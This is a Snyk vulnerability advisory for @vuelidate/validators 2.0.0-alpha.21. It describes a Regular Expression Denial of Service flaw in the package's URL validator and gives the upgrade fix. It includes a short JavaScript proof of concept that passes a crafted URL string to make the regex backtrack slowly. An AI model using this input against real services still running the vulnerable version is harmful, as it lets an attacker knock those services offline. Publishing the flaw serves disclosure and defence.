@vuelidate/validators@2.0.0-alpha.21 vulnerabilities

Validators for Vuelidate

Direct Vulnerabilities

Known vulnerabilities in the @vuelidate/validators package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Regular Expression Denial of Service (ReDoS)

@vuelidate/validators is a Validators for Vuelidate

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the URL validator urlRegex in packages/validators/src/raw/url.js.

PoC

import { url } from '@vuelidate/validators/dist/raw.esm.js';
var time = Date.now();
url('http://foobar.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.');
var time_taken = Date.now() - time;
console.log("Time taken: " + time_taken+" ms")

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade @vuelidate/validators to version 2.0.0-alpha.22 or higher.

<2.0.0-alpha.22